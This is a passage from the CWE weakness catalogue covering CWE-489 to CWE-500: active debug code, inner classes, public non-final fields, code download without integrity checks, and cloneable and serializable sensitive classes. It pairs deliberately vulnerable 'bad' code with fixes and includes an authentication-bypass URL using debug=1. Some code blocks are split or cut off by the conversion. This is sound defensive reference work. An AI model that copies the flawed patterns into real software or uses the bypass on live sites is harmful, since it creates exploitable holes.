The table(s) below shows the weaknesses and high level categories that are related to this weakness. ### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

#### Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

### Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

### Demonstrative Examples

#### Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java

(bad)

```
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
        out.println(name + ", thanks for visiting!");
    }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

## CWE-489: Active Debug Code

**Weakness ID** : 489  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Draft

### Description

The application is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

### Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Gain Privileges or Assume Identity	
Access Control	Varies by Context	
Other	<i>The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.</i>	

### Potential Mitigations

**Phase: Build and Compilation**

## Phase: Distribution

Remove debug code before deploying the application.

## Demonstrative Examples

### Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML

(bad)

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language:

(informative)

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language:

(attack)

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

## CWE-491: Public cloneable() Method Without Final ('Object Hijack')

<b>Weakness ID</b> : 491	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

**CWE-492: Use of Inner Class Containing Sensitive Data**

Weakness ID : 492

Status: Draft

Structure : Simple

Abstraction : Variant

**Description**

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

**Extended Description**

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be

accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>"Inner Classes" data confidentiality aspects can often be overcome.</i>	

## Potential Mitigations

### Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

### Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

## Demonstrative Examples

### Example 1:

The following Java Applet code mistakenly makes use of an inner class.

*Example Language: Java*

*(bad)*

```
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...
}
```

### Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a

concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java

(bad)

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java

(good)

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass

```

```

        return memberTwo + separator + this.innerMemberOne;
    }
}

```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

### Example 3:

In the following example the `BankAccount` class contains the private member inner class `InterestAdder` that adds interest to the bank account balance. The `start` method of the `BankAccount` class creates an object of the inner class `InterestAdder`, the `InterestAdder` inner class implements the `ActionListener` interface with the method `actionPerformed`. A `Timer` object created within the `start` method of the `BankAccount` class invokes the `actionPerformed` method of the `InterestAdder` class every 30 days to add the interest to the bank account balance based on the interest rate passed to the `start` method as an input parameter. The inner class `InterestAdder` needs access to the private member variable `balance` of the `BankAccount` class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because `InterestAdder` is a non-static member inner class of the `BankAccount` class, `InterestAdder` also has access to the private member variables of the `BankAccount` class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java

(bad)

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(double rate)
    {
        ActionListener adder = new InterestAdder(rate);
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
    // InterestAdder is an inner class of BankAccount class
    // that implements the ActionListener interface
    private class InterestAdder implements ActionListener
    {
        private double rate;
        public InterestAdder(double aRate)
        {
            this.rate = aRate;
        }
        public void actionPerformed(ActionEvent event)
        {

```

```

    // update interest
    double interest = BankAccount.this.balance * rate / 100;
    BankAccount.this.balance += interest;
  }
}

```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java

(good)

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        }
        ActionListener adder = new InterestAdder();
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}

```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java

(good)

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;

```

```

private int accountNumber;
private double balance;
// constructor for BankAccount class
public BankAccount(String accountOwnerName, String accountOwnerSSN,
int accountNumber, double initialBalance, int initialRate)
{
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
}
// start method will add interest to balance every 30 days
// creates timer object and interest adding action listener object
public void start(final double rate)
{
    // anonymous inner class that implements the ActionListener interface
    ActionListener adder = new ActionListener()
    {
        public void actionPerformed(ActionEvent event)
        {
            // update interest
            double interest = BankAccount.this.balance * rate / 100;
            BankAccount.this.balance += interest;
        }
    };
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
}
}

```

**Example 4:**

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language:

(bad)

```

public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    // and creates button listener object
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        ActionListener submitButtonListener = new SubmitButtonListener();
        submitButton.addActionListener(submitButtonListener);
    }
    // button listener inner class for UrlToolApplet class
    private class SubmitButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            if (evt.getSource() == submitButton) {
                String urlString = enterUrlTextField.getText();
            }
        }
    }
}

```

```

        URL url = null;
        try {
            url = new URL(urlString);
        } catch (MalformedURLException e) {
            System.err.println("Malformed URL: " + urlString);
        }
        if (url != null) {
            getAppletContext().showDocument(url);
        }
    }
}

```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java

(good)

```

public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);

## Notes

### Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

## CWE-493: Critical Public Variable Without Final Modifier

**Weakness ID** : 493

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

### Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1327
ParentOf		500	Public Static Field Not Marked Final	1087

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>The object could potentially be tampered with.</i>	
Confidentiality	Read Application Data <i>The object could potentially allow the object to be read.</i>	

### Potential Mitigations

#### Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

### Demonstrative Examples

#### Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

*Example Language: Java*

*(bad)*

```
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

#### Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++

(bad)

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java

(bad)

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

## CWE-494: Download of Code Without Integrity Check

Weakness ID : 494

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

### Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

### Relationships

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Availability	Alter Execution Logic	
Confidentiality	Other	
Other	<i>Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.</i>	

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the

software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as *truss* (Solaris) and *strace* (Linux); system activity monitors such as *FileMon*, *RegMon*, *Process Monitor*, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

### Potential Mitigations

#### Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

#### Phase: Architecture and Design

#### Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Specifically, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

#### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix *chroot* jail, *AppArmor*, and *SELinux*. In general, managed code may provide some protection. For example, *java.io.FilePermission* in the Java *SecurityManager* allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

## Demonstrative Examples

### Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java

(bad)

```
URL[] classURLs= new URL[]{
    new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

### Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP

(bad)

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
    mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql!');
    mysql_select_db($dbname);
    $query = 'Select * from users where username=.'.$username.' And password=.'.$password;
    $result = mysql_query($query);
    if(mysql_numrows($result) == 1){
        mysql_close();
        return true;
    }
    else{
        mysql_close();
        return false;
    }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themselves to access the application without a real user account.

This example is also vulnerable to a MITM (CWE-300) attack.

## Notes

### Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

## CWE-495: Private Data Structure Returned From A Public Method

**Weakness ID** : 495

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1313

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>The contents of the data structure can be modified from outside the intended scope.</i>	

### Potential Mitigations

#### Phase: Implementation

Declare the method private.

#### Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

#### Phase: Implementation

Use public setter methods that govern how a private member can be modified.

### Demonstrative Examples

**Example 1:**

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java

(bad)

```
private String[] colors;
public String[] getColors() {
    return colors;
}
```

**Example 2:**

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++

(bad)

```
class Color
{
    private:
        int[2] colorArray;
        int colorValue;
    public:
        Color () : colorArray { 1, 2 }, colorValue (3) { };
        int[2] & fa () { return colorArray; } // return reference to private array
        int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
    Color c;
    c.fa () [1] = 42; // modifies private array element
    c.fv () = 42; // modifies private int
    return 0;
}
```

## CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

<b>Weakness ID</b> : 497	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The application does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the application does.

### Extended Description

Network-based software, such as web applications, often runs on top of an operating system or similar environment. When the application communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the application itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

### Demonstrative Examples

#### Example 1:

The following code prints the path environment variable to the standard error stream:

*Example Language: C*

*(bad)*

```
char* path = getenv("PATH");
...
printf(stderr, "cannot find exe on path %s\n", path);
```

#### Example 2:

This code prints all of the running processes belonging to the current user.

*Example Language: PHP*

*(bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise

privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

### Example 3:

The following code prints an exception to the standard error stream:

Example Language: Java

(bad)

```
try {
  ...
} catch (Exception e) {
  e.printStackTrace();
}
```

Example Language:

(bad)

```
try {
  ...
} catch (Exception e) {
  Console.WriteLine(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

### Example 4:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C#

(bad)

```
string cs="database=northwind; server=mysqlserver...";
SqlConnection conn=new SqlConnection(cs);
...
Console.WriteLine(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

## CWE-498: Cloneable Class Containing Sensitive Information

**Weakness ID** : 498

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

### Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1327
CanPrecede		200	Exposure of Sensitive Information to an Unauthorized Actor	473

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

*A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*

## Potential Mitigations

### Phase: Implementation

If you do make your classes cloneable, ensure that your clone method is final and throw `super.clone()`.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(bad)*

```
public class CloneClient {
    public CloneClient() //throws
        java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu", "22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}
class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        }
        catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name,String clas) {
        this.name = name;
        this.clas = clas;
    }
}
```

Make classes uncloneable by defining a clone function like:

*Example Language: Java*

*(good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}
```

## CWE-499: Serializable Class Containing Sensitive Data

<b>Weakness ID</b> : 499	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

## Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>an attacker can write out the class to a byte stream, then extract the important data from it.</i>	

## Potential Mitigations

### Phase: Implementation

In Java, explicitly define final `writeObject()` to prevent serialization. This is the recommended solution. Define the `writeObject()` function to throw an exception explicitly denying serialization.

### Phase: Implementation

Make sure to prevent serialization of your objects.

## Demonstrative Examples

### Example 1:

This code creates a new record for a medical patient:

*Example Language: Java*

*(bad)*

```
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.SetName(name);
        this.SetSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

## CWE-500: Public Static Field Not Marked Final

<b>Weakness ID</b> : 500	<b>Status</b> : Draft
